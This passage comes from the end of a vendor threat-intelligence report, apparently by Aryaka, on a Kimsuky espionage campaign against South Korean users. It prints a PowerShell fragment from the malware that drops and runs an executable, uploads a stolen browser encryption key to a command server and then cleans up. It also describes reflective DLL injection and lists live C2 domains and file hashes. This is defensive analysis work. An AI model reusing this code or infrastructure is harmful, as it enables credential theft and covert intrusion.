[System.I0.File] ::writeAllBytes("$tempPath\app64.exe", [System. Convert]
::FromBase64String($base64String) )
DownloadFile $d1ll "$tempPath\nzvwan.log”
Start-Sleep -Seconds 1
Start-Process -FilePath "$tempPath\app64.exe" -WorkingDirectory $tempPath
Start-Sleep -Seconds 1
$result = UploadFile $url "$tempPath\cc_appkey"
Start-Sleep -Seconds 1
if ($result -eq $true) {
Remove-Item -Path "$tempPath\cc_appkey"
Remove-Item -Path "$tempPath\app64.exe"
Remove-Item -Path "$tempPath\nzvwan.log"
Remove-Item -Path "$tempPath\appload.log"
}
}
Figure 25 - GetAppKey Function()
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 26
Once launched, app64.exe decrypts the nzvwan.log file in memory using the RC4
algorithm. The decrypted content is a malicious DLL, which is never written to disk. Instead
of relying on standard Windows APIs such as LoadLibrary(), the malware employs a
stealthier approach—reflective DLL injection. It allocates memory using VirtualAllocEx(),
writes the decrypted DLL with WriteProcessMemory(), and invokes its execution via
CreateRemoteThread(), targeting the DLL’s ReflectiveLoader() export function as shown in
Figure 26. This method ensures the payload runs entirely in memory, significantly evading
detection by traditional antivirus and endpoint protection tools that monitor disk activity or
conventional loading behaviour.
Figure 26 – Process injection
Figure 27 - Memory String of Injected DLL
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 27
The injected payload is an information stealer that targets Chromium-based browsers,
including Chrome, Edge, and Brave. It locates the app_bound_encrypted_key stored in each
browser’s Local State file—an AES key used to encrypt sensitive browser data, including saved
passwords and cookies. Although Chromium implements application-bound encryption to
restrict access to this key, the malware bypasses these protections to retrieve the key. It then
exfiltrates the key to a command-and-control (C2) server. Figure 27 shows a memory string
of the injected DLL responsible for this activity.
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 28
Victimology and Attribution
Based on the lure documents, this campaign demonstrates a calculated focus on South
Korean individuals and institutions by repurposing authentic government-issued documents
as lures. The threat actor uses legitimate templates—such as public safety notifications and
local tax notices—to establish credibility and provoke immediate engagement. These lures
are tailored to resonate with civilians, parents, school staff, local officials, and administrative
workers who regularly interact with such official communications.
The tactics, techniques, and procedures (TTPs) analyzed in this campaign strongly resemble
those attributed to Kimsuky, a North Korean state-sponsored APT group known for conducting
cyber-espionage operations primarily against South Korean government bodies, research
institutions, and critical infrastructure.
The heavy use of PowerShell— for scripting and executing keylogging and credential theft
routines—strongly reflects Kimsuky’s established TTPs. These techniques are consistent with
the group’s past cyber-espionage campaigns, which have targeted South Korean entities.
Seqrite previously reported similar campaigns that leveraged the same lure documents in
April 2025. Meanwhile, security researcher Emmy Byrne also identified related samples in
March 2025, further supporting the attribution to the Kimsuky threat group.
Conclusion
This campaign demonstrates Kimsuky APT’s continued evolution in stealth, modularity, and
targeting precision. By abusing legitimate Windows utilities, such as mshta.exe, layering
obfuscation techniques, and leveraging reflective DLL injection, the attackers effectively
bypass conventional defenses. The use of psychological lures, region-specific profiling,
and robust data exfiltration mechanisms reflects a clear focus on South Korean users and
organizations of strategic interest. With persistent C2 interaction and real-time command
execution capabilities, this multi-stage malware infrastructure represents a serious
espionage threat. Organizations must adopt behavioral monitoring, PowerShell auditing,
and network anomaly detection to combat such advanced threats.
https://x.com/byrne_emmy12099/status/1901525189374185624
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 29
Aryaka’s Unified SASE framework integrates network security and zero-trust access controls to
defend against threats like the recent Kimsuky APT campaign, which employs malicious LNK
files, HTA-based payloads, and heavily obfuscated scripts to establish command-and-control
(C2) channels for data exfiltration and remote operations.
SASE provides centralized visibility into outbound network activity and enforces uniform
security policies across all users, devices, and locations. With built-in capabilities such as
advanced IDPS, secure web gateway (SWG), and real-time threat intelligence, SASE can
detect key indicators of Kimsuky activity—including unusual use of mshta.exe, encoded
PowerShell traffic, suspicious HTTP POST patterns, and connections to known malicious CDNs.
By analyzing script-based communications and monitoring data exfiltration behavior, SASE
can automatically disrupt C2 traffic, block unauthorized transmissions, and contain the
threat before it results in widespread compromise.
How Unified SASE as a Service Helps
Disrupt Kimsuky APT Campaigns
Appendices
Sha256 Description
87e8287509a79099170b5b6941209b5787140a8f6182d460618d4ed93418aff9 Malicious LNK
232e618eda0ab1b85157ddbc67a4d0071c408c6f82045da2056550bfbca4140f Malicious LNK
0df3afc6f4bbf69e569607f52926b8da4ce1ebc2a4747e7a17dbc0a13e050707 Zip.log
7b06e14a39ff68f75ad80fd5f43a8a3328053923d101a34b7fb0d55235ab170b sxzjl.hta
b98626ebd717ace83cd7c312f081ce260e00f299b8d427bfb9ec465fa4bdf28b V3.hta
3db2e176f53bf2b8b1c0d26b8a880ff059c0b4d1eda1cc4e9865bbe5a04ad37a Sys.dll
ce4dbe59ca56039ddc7316fee9e883b3d3a1ef17809e7f4eec7c3824ae2ebf96 App64.log
a499b66ea8eb5f32d685980eddacaaf0abc1f9eac7e634229e972c2bf3b03d68 Mani64.log
ce4dbe59ca56039ddc7316fee9e883b3d3a1ef17809e7f4eec7c3824ae2ebf96 Net64.log
ygbsbl.hopto.org C&C server
hvmeyq.viewdns.net C&C server
Tactic Technique Technique Name
Initial Access T1204.002 User Execution: Malicious File
Execution T1059.005 Command and Scripting Interpreter: VBScript
Execution T1218.005 Signed Binary Proxy Execution: mshta
Persistence T1547.001 Registry Run Keys / Startup Folder
Defense Evasion T1027 Obfuscated Files or Information
Defense Evasion T1140 Deobfuscate/Decode Files or Information
Credential Access T1555.003 Credentials from Web Browsers
Discovery T1082 System Information Discovery
Discovery T1012 Query Registry
Discovery T1016 System Network Configuration Discovery
Collection T1005 Data from Local System
Collection T1056.001 Input Capture: Keylogging
Exfiltration T1048.003 Exfiltration Over Alternative Protocol: HTTP/S
Command and Control T1071.001 Application Layer Protocol: Web Protocols
Command and Control T1059.001 Command and Scripting Interpreter: PowerShell
Defense Evasion T1497.001 Virtualization/Sandbox, Evasion: System Checks
Defense Evasion T1027.002 Software Packing (Enigma Protector)
Defense Evasion T1218.011 System Binary Proxy Execution: Rundll32
Execution T1620 Reflective Code Loading
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 30
Appendix A: Indicators of Compromise
Appendix B: Mapping MITRE ATT&CK® Matrix
© COPYRIGHT 2015-2025 ARYAKA NETWORKS, INC. ALL RIGHTS RESERVED.
LEARN MORE | info@aryaka.com | +1.888.692.7925
About Aryaka Networks
Aryaka is the leader in delivering Unified SASE as a Service, a fully integrated solution
combining networking, security, and observability. Built for the demands of Generative AI
as well as today’s multi-cloud hybrid world, Aryaka enables enterprises to transform their
secure networking to deliver uncompromised performance, agility, simplicity, and security.
Aryaka’s flexible delivery options empower businesses to choose their preferred approach
for implementation and management. Hundreds of global enterprises, including several in
the Fortune 100, depend on Aryaka for their secure networking solutions. For more on
Aryaka, please visit www.aryaka.com
Schedule a Free Network
Consultation with an Aryaka Expert
Experience Aryaka's
Unified SASE as a Service
See How It Works Live View Interactive Tour
www.aryaka.com
https://www.youtube.com/channel/UCCS7qeW2Y_TY2uQLs9yhe9g
www.aryaka.com
www.aryaka.com
www.aryaka.com/start-now
https://www.linkedin.com/company/aryaka-networks
https://twitter.com/AryakaNetworks
https://www.aryaka.com/take-the-interactive-tour?utm_source=website&utm_medium=report&utm_campaign=from+reconnaissance+to+control
https://www.aryaka.com/book-a-demo/?utm_source=website&utm_medium=report&utm_campaign=from+reconnaissance+to+control